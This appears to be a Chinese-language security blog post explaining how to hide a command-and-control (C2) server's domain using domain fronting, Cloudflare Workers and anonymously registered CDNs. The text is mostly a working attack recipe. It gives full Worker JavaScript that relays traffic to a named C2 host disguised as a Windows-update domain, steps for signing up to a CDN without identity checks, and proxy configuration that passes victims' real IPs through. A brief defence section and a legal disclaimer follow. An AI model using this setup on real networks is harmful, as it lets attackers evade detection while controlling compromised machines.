使用CDN+worker隐藏C2域名
字数 1453 2025-08-05 08:19:10
使用CDN+Worker隐藏C2域名的技术详解
一、技术背景
在渗透测试中,C2(Command and Control)服务器的隐蔽性至关重要。传统的C2域名容易被安全设备识别并加入威胁情报库,导致攻击被检测。本文介绍两种基于CDN和Worker技术的C2域名隐藏方法。
二、核心概念
1. 域前置技术(Domain Fronting)
- 原理:利用CDN服务商的多域名托管特性,通过修改HTTP Host头来隐藏真实请求的目标
- 工作流程:
- 两个域名(a.com和b.com)使用同一个CDN(1.1.1.1)
- 请求CDN IP但指定Host头为b.com:
curl 1.1.1.1 -H "Host: www.b.com" -v - 即使请求a.com但Host头为b.com,仍返回b.com内容
2. 云函数技术
- 依赖云服务商提供的无服务器计算功能
- 需要实名认证,存在法律风险
三、CDN+Worker伪装技术
1. 基本配置
- 在Cloudflare创建Worker子域
- 使用JavaScript代码转发请求
2. Worker代码详解
let upstream = 'http://www.winupdateck.top' // 真实C2地址
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
// 修改请求URL指向真实C2
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
// 设置X-Forwarded-For头传递真实IP
let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
// 转发请求
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
// 处理响应
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie'); // 删除可能的安全头
return new Response(fetchedResponse.body, {
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
});
}
3. 技术特点
- 支持HTTP/HTTPS协议自由切换
- 使用
.worker.dev域名作为前端 - 通过X-Forwarded-For传递受害者真实IP
四、匿名CDN+Worker进阶方案
1. 解决国内备案问题
- 问题:国内VPS绑定域名需要备案
- 解决方案:使用NodeCache等国外CDN服务
2. 配置步骤
-
注册匿名CDN账户
- 选择支持匿名注册的CDN服务商(如NodeCache)
- 仅需邮箱验证,无需实名
-
创建CDN服务
- 添加子域名(如cmd.winupdateck.top)
- 获取CNAME记录
-
域名解析配置
- 在域名注册商处添加CNAME记录
- 指向CDN提供的地址
-
回源设置
- 设置回源地址为国内VPS IP
- 选择"协议跟随"选项以支持HTTP/HTTPS
-
Worker二次代理
let upstream = 'http://cmd.winupdateck.top' // CDN加速的子域名 // 其余代码与基础方案相同 -
Nginx反向代理配置
location / { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 其他代理配置... }
3. 注意事项
- 直接使用CDN代理时,X-Forwarded-For头可能无效
- 必须在后端服务器(Nginx)上配置才能获取真实IP
- 国内VPS仍需注意法律风险
五、技术对比
| 特性 | 基础Worker方案 | 匿名CDN+Worker方案 |
|---|---|---|
| 隐蔽性 | 高 | 极高 |
| 国内访问性 | 依赖Cloudflare | 通过国内VPS加速 |
| IP获取 | 直接 | 需Nginx配置 |
| 法律风险 | 中 | 高(涉及国内VPS) |
| 配置复杂度 | 简单 | 复杂 |
六、防御建议
对于防御方,应关注:
- 监控异常.worker.dev子域名的访问
- 检查HTTP请求中的X-Forwarded-For头异常
- 分析CDN回源流量模式
- 关注知名CDN服务商的异常使用情况
七、法律声明
本文所述技术仅用于安全研究目的,在实际渗透测试中必须获得明确授权。未经授权的使用可能违反《网络安全法》及相关法律法规。